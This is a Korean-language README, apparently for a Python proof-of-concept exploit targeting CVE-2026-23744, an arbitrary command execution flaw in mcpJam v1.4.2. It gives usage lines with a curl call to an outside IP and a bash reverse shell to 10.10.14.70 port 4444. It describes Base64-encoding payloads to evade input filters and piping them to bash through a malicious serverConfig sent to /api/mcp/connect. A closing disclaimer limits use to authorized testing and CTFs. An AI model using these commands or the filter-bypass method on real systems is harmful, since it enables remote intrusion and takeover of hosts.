
cve-2026-23744 python 익스플로잇
CVE-2026-23744에 대한 Python 3 개념 증명(PoC) 익스플로잇으로, mcpJam v1.4.2에 영향을 주는 임의 명령 실행 취약점입니다.
이 유틸리티는 전송 전에 명령을 자동으로 Base64로 인코딩하여 페이로드 전달을 자동화하며, 제한적인 입력 검증 및 문자 필터링 메커니즘을 우회하는 데 도움을 줍니다. 페이로드는 대상 시스템에서 /bin/bash 래퍼를 통해 디코딩되어 실행됩니다.
명령이 전송 전에 자동으로 인코딩되어, 엄격한 입력 검증이나 문자 제한을 적용하는 애플리케이션을 대상으로 할 때 안정성을 향상시킵니다.
다음을 포함한 임의 명령 실행을 지원합니다:
sh, bash, nc 등)다음을 표시합니다:
이를 통해 문제 해결과 익스플로잇 검증이 간편해집니다.
인증서 확인 경고를 억제하여 자체 서명 또는 신뢰할 수 없는 SSL 인증서를 사용하는 대상과의 상호 작용을 허용합니다.
필요한 종속성을 설치합니다:
pip install requests
python3 exploit.py <target_url> "<command>"
python3 exploit.py http://devhub.com:6274 "curl http://10.10.14.70:8888"
python3 exploit.py http://devhub.com:6274 "sh -i >& /dev/tcp/10.10.14.70/4444 0>&1"
이 익스플로잇은 악성 serverConfig 객체를 구성하여 /api/mcp/connect 엔드포인트를 대상으로 합니다.
명령을 직접 전송하는 대신, 페이로드는 Base64로 인코딩된 문자열로 변환되어 Bash를 통해 실행됩니다:
"args": [
"-c",
f"echo {base64_payload} | base64 -d | bash"
]
이러한 접근 방식은 페이로드가 대상 호스트에서 완전히 디코딩되어 실행되도록 보장하면서 애플리케이션 수준 필터링을 우회하는 데 도움이 됩니다.
serverConfig 요청에 포함됩니다.base64 -d를 사용하여 페이로드를 디코딩합니다./bin/bash로 직접 파이프됩니다.[!WARNING] 이 프로젝트는 교육 목적, 승인된 보안 평가, 그리고 Capture The Flag(CTF) 환경에서만 사용하도록 제공됩니다.
명시적 허가 없이 시스템을 대상으로 하는 무단 사용은 불법이자 비윤리적입니다. 저자는 본 소프트웨어 사용으로 인한 오용, 손해 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다.